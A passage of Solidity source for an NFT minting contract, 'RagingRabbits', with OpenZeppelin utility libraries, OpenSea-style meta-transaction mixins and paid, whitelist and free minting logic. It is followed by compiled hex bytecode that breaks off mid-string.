memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./common/meta-transactions/ContentMixin.sol"; import "./common/meta-transactions/NativeMetaTransaction.sol"; contract OwnableDelegateProxy {} /** * Used to delegate ownership of a contract to another address, to save on unneeded transactions to approve contract use for users */ contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ERC721, ContextMixin, NativeMetaTransaction, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; /** * We rely on the OZ Counter util to keep track of the next available ID. * We track the nextTokenId instead of the currentTokenId to save users on gas costs. * Read more about it here: https://shiny.mirror.xyz/OUampBbIz9ebEicfGnQf5At_ReMHlZy0tB4glb9xQ0E */ Counters.Counter internal _nextTokenId; address proxyRegistryAddress; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; // nextTokenId is initialized to 1, since starting at 0 leads to higher gas cost for the first minter _nextTokenId.increment(); _initializeEIP712(_name); } /** * @dev Mints a token to an address with a tokenURI. * @param _to address of the future owner of the token */ function mintTo(address _to, uint256 _quantity) public onlyOwner { for (uint256 i = 0; i < _quantity; i++) { uint256 currentTokenId = _nextTokenId.current(); _nextTokenId.increment(); _safeMint(_to, currentTokenId); } } /** @dev Returns the total tokens minted so far. 1 is always subtracted from the Counter since it tracks the next available tokenId. */ function totalSupply() public view returns (uint256) { return _nextTokenId.current() - 1; } function baseTokenURI() virtual view public returns (string memory); function tokenURI(uint256 _tokenId) override view public returns (string memory) { return string(abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId)) ); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal override view returns (address sender) { return ContextMixin.msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721Tradable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** * @title Rabbit * Rabbit - a contract for my non-fungible raging rabbits. */ contract Rabbit is ERC721Tradable { using Counters for Counters.Counter; string baseTokenUri; uint256 public maxMintAmount = 11111; uint256 public cost = 0.055 ether; uint256 public whiteListCost = 0.033 ether; bool public paused = true; bool public onlyWhitelisted = true; bytes32 public whitelistMerkleRoot; mapping(address => uint256) public freeMintsRemaining; constructor(address _proxyRegistryAddress, string memory _baseTokenUri, bytes32 _whitelistMerkleRoot, address[] memory freeMintAddresses, uint256[] memory freeMintValues) ERC721Tradable("RagingRabbits", "RR", _proxyRegistryAddress) { baseTokenUri = _baseTokenUri; whitelistMerkleRoot = _whitelistMerkleRoot; for (uint256 i = 0; i < freeMintAddresses.length; i++) { freeMintsRemaining[freeMintAddresses[i]] = freeMintValues[i]; } } function baseTokenURI() override view public returns (string memory) { return baseTokenUri; } function contractURI() public pure returns (string memory) { return "https://www.ragingrabbits.co/"; } function mint(uint256 _quantity) public payable { require(msg.value >= cost * _quantity, "insufficient funds"); require(!paused, "contract is paused"); require(onlyWhitelisted == false, "public sale not open yet"); mintCommon(_quantity); } function whitelistMint(uint256 _quantity, bytes32[] calldata _merkleProof) public payable { require(msg.value >= whiteListCost * _quantity, "insufficient funds"); require(!paused, "contract is paused"); require(isWhitelisted(msg.sender, _merkleProof), "user is not whitelisted"); mintCommon(_quantity); } function freeMint(uint256 _quantity) public { require(!paused, "contract is paused"); require(freeMintsRemaining[msg.sender] >= _quantity, "not enough free mints"); freeMintsRemaining[msg.sender] -= _quantity; mintCommon(_quantity); } function mintCommon(uint256 _quantity) private { require(_nextTokenId.current() + _quantity <= maxMintAmount + 1, "not enough tokens available"); for (uint256 i = 0; i < _quantity; i++) { uint256 currentTokenId = _nextTokenId.current(); _nextTokenId.increment(); _safeMint(msg.sender, currentTokenId); } } function isWhitelisted(address _userAddress, bytes32[] calldata _merkleProof) public view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(_userAddress)); return MerkleProof.verify(_merkleProof, whitelistMerkleRoot, leaf); } function setBaseTokenUri(string memory _baseTokenUri) public onlyOwner { baseTokenUri = _baseTokenUri; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setWhitelistCost(uint256 _newWlCost) public onlyOwner { whiteListCost = _newWlCost; } function setWhitelistMerkleRoot(bytes32 _whiteListMerkleRoot) public onlyOwner { whitelistMerkleRoot = _whiteListMerkleRoot; } function setFreeMints(address _userAddress, uint256 _freeMints) public onlyOwner { freeMintsRemaining[_userAddress] = _freeMints; } function withdraw() public onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {EIP712Base} from "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } }
0x6080604052600436106102675760003560e01c806370a0823111610144578063b88d4fde116100b6578063d2cab0561161007a578063d2cab0561461070c578063d49479eb1461071f578063d547cfb71461073f578063e8a3d48514610754578063e985e9c51461079a578063f2fde38b146107ba57600080fd5b8063b88d4fde1461065f578063bd32fb661461067f578063c87b56dd1461069f578063c9aef534146106bf578063ce9dd83e146106ec57600080fd5b806395652cfa1161010857806395652cfa146105c257806395d89b41146105e25780639c70b512146105f7578063a0712d6814610616578063a22cb46514610629578063aa98e0c61461064957600080fd5b806370a0823114610539578063715018a6146105595780637c928fe91461056e5780638da5cb5b1461058e5780639257e044146105ac57600080fd5b806323b872dd116101dd57806342842e0e116101a157806342842e0e1461047f578063449a52f81461049f57806344a0d68a146104bf5780635a23dd99146104df5780635c975abb146104ff5780636352211e1461051957600080fd5b806323b872dd146103e15780632d0335ab146104015780633408e470146104375780633c9527641461044a5780633ccfd60b1461046a57600080fd5b80630f7e59701161022f5780630f7e59701461033057806313faede61461035d57806316c38b3c1461038157806318160ddd146103a157806320379ee5146103b6578063239c70ae146103cb57600080fd5b806301ffc9a71461026c57806306fdde03146102a1578063081812fc146102c3578063095ea7b3146102fb5780630c53c51c1461031d575b600080fd5b34801561027857600080fd5b5061028c6102873660046122aa565b6107da565b60405190151581526020015b60405180910390f35b3480156102ad57600080fd5b506102b661082c565b604051610298919061231f565b3480156102cf57600080fd5b506102e36102de366004612332565b6108be565b6040516001600160a01b039091168152602001610298565b34801561030757600080fd5b5061031b610316366004612360565b610958565b005b6102b661032b366004612438565b610a7f565b34801561033c57600080fd5b506102b6604051806040016040528060018152602001603160f81b81525081565b34801561036957600080fd5b50610373600e5481565b604051908152602001610298565b34801561038d57600080fd5b5061031b61039c3660046124cb565b610c69565b3480156103ad57600080fd5b50610373610cc5565b3480156103c257600080fd5b50600754610373565b3480156103d757600080fd5b50610373600d5481565b3480156103ed57600080fd5b5061031b6103fc3660046124e6565b610ce1565b34801561040d57600080fd5b5061037361041c366004612527565b6001600160a01b031660009081526008602052604090205490565b34801561044357600080fd5b5046610373565b34801561045657600080fd5b5061031b6104653660046124cb565b610d19565b34801561047657600080fd5b5061031b610d7c565b34801561048b57600080fd5b5061031b61049a3660046124e6565b610e39565b3480156104ab57600080fd5b5061031b6104ba366004612360565b610e54565b3480156104cb57600080fd5b5061031b6104da366004612332565b610ee0565b3480156104eb57600080fd5b5061028c6104fa366004612590565b610f2e565b34801561050b57600080fd5b5060105461028c9060ff1681565b34801561052557600080fd5b506102e3610534366004612332565b610fb4565b34801561054557600080fd5b50610373610554366004612527565b61102b565b34801561056557600080fd5b5061031b6110b2565b34801561057a57600080fd5b5061031b610589366004612332565b611107565b34801561059a57600080fd5b506009546001600160a01b03166102e3565b3480156105b857600080fd5b50610373600f5481565b3480156105ce57600080fd5b5061031b6105dd3660046125e5565b6111af565b3480156105ee57600080fd5b506102b661120f565b34801561060357600080fd5b5060105461028c90610100900460ff1681565b61031b610624366004612332565b61121e565b34801561063557600080fd5b5061031b61064436600461262e565b6112f4565b34801561065557600080fd5b5061037360115481565b34801561066b57600080fd5b5061031b61067a366004612663565b611306565b34801561068b57600080fd5b5061031b61069a366004612332565b611345565b3480156106ab57600080fd5b506102b66106ba366004612332565b611393565b3480156106cb57600080fd5b506103736106da366004612527565b60126020526000908152604090205481565b3480156106f857600080fd5b5061031b610707366004612360565b6113cd565b61031b61071a3660046126cf565b611432565b34801561072b57600080fd5b5061031b61073a366004612332565b611507565b34801561074b57600080fd5b506102b6611555565b34801561076057600080fd5b5060408051808201909152601d81527f68747470733a2f2f7777772e726167696e67726162626974732e636f2f00000060208201526102b6565b3480156107a657600080fd5b5061028c6107b5366004612702565b611564565b3480156107c657600080fd5b5061031b6107d5366004612527565b611624565b60006001600160e01b031982166380ac58cd60e01b148061080b57506001600160e01b03198216635b5e139f60e01b145b8061082657506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461083b9061273b565b80601f01602080910402602001604051908101604052809291908181526020018280546108679061273b565b80156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661093c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061096382610fb4565b9050806001600160a01b0316836001600160a01b0316036109d05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610933565b806001600160a01b03166109e2611740565b6001600160a01b031614806109fe57506109fe816107b5611740565b610a705760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610933565b610a7a838361174a565b505050565b60408051606081810183526001600160a01b03881660008181526008602090815290859020548452830152918101869052610abd87828787876117b8565b610b135760405162461bcd60e51b815260206004820152602160248201527f5369676e657220616e64207369676e617475726520646f206e6f74206d6174636044820152600d60fb1b6064820152608401610933565b6001600160a01b038716600090815260086020526040902054610b379060016118a8565b6001600160a01b0388166000908152600860205260409081902091909155517f5845892132946850460bff5a0083f71031bc5bf9aadcd40f1de79423eac9b10b90610b8790899033908a90612775565b60405180910390a1600080306001600160a01b0316888a604051602001610baf9291906127a1565b60408051601f1981840301815290829052610bc9916127d8565b6000604051808303816000865af19150503d8060008114610c06576040519150601f19603f3d011682016040523d82523d6000602084013e610c0b565b606091505b509150915081610c5d5760405162461bcd60e51b815260206004820152601c60248201527f46756e6374696f6e2063616c6c206e6f74207375636365737366756c000000006044820152606401610933565b98975050505050505050565b610c71611740565b6001600160a01b0316610c8c6009546001600160a01b031690565b6001600160a01b031614610cb25760405162461bcd60e51b8152600401610933906127f4565b6010805460ff1916911515919091179055565b60006001610cd2600a5490565b610cdc919061283f565b905090565b610cf2610cec611740565b826118bb565b610d0e5760405162461bcd60e51b815260040161093390612856565b610a7a83838361198a565b610d21611740565b6001600160a01b0316610d3c6009546001600160a01b031690565b6001600160a01b031614610d625760405162461bcd60e51b8152600401610933906127f4565b601080549115156101000261ff0019909216919091179055565b610d84611740565b6001600160a01b0316610d9f6009546001600160a01b031690565b6001600160a01b031614610dc55760405162461bcd60e51b8152600401610933906127f4565b6000610dd96009546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610e23576040519150601f19603f3d011682016040523d82523d6000602084013e610e28565b606091505b5050905080610e3657600080fd5b50565b610a7a83838360405180602001604052806000815250611306565b610e5c611740565b6001600160a01b0316610e776009546001600160a01b031690565b6001600160a01b031614610e9d5760405162461bcd60e51b8152600401610933906127f4565b60005b81811015610a7a576000610eb3600a5490565b9050610ec3600a80546001019055565b610ecd8482611b26565b5080610ed8816128a7565b915050610ea0565b610ee8611740565b6001600160a01b0316610f036009546001600160a01b031690565b6001600160a01b031614610f295760405162461bcd60e51b8152600401610933906127f4565b600e55565b6040516bffffffffffffffffffffffff19606085901b1660208201526000908190603401604051602081830303815290604052805190602001209050610fab848480806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250506011549150849050611b40565b95945050505050565b6000818152600260205260408120546001600160a01b0316806108265760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610933565b60006001600160a01b0382166110965760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610933565b506001600160a01b031660009081526003602052604090205490565b6110ba611740565b6001600160a01b03166110d56009546001600160a01b031690565b6001600160a01b0316146110fb5760405162461bcd60e51b8152600401610933906127f4565b6111056000611b56565b565b60105460ff161561112a5760405162461bcd60e51b8152600401610933906128c0565b336000908152601260205260409020548111156111815760405162461bcd60e51b81526020600482015260156024820152746e6f7420656e6f7567682066726565206d696e747360581b6044820152606401610933565b33600090815260126020526040812080548392906111a090849061283f565b90915550610e36905081611ba8565b6111b7611740565b6001600160a01b03166111d26009546001600160a01b031690565b6001600160a01b0316146111f85760405162461bcd60e51b8152600401610933906127f4565b805161120b90600c9060208401906121fb565b5050565b60606001805461083b9061273b565b80600e5461122c91906128ec565b3410156112705760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b6044820152606401610933565b60105460ff16156112935760405162461bcd60e51b8152600401610933906128c0565b601054610100900460ff16156112eb5760405162461bcd60e51b815260206004820152601860248201527f7075626c69632073616c65206e6f74206f70656e2079657400000000000000006044820152606401610933565b610e3681611ba8565b61120b6112ff611740565b8383611c5b565b611317611311611740565b836118bb565b6113335760405162461bcd60e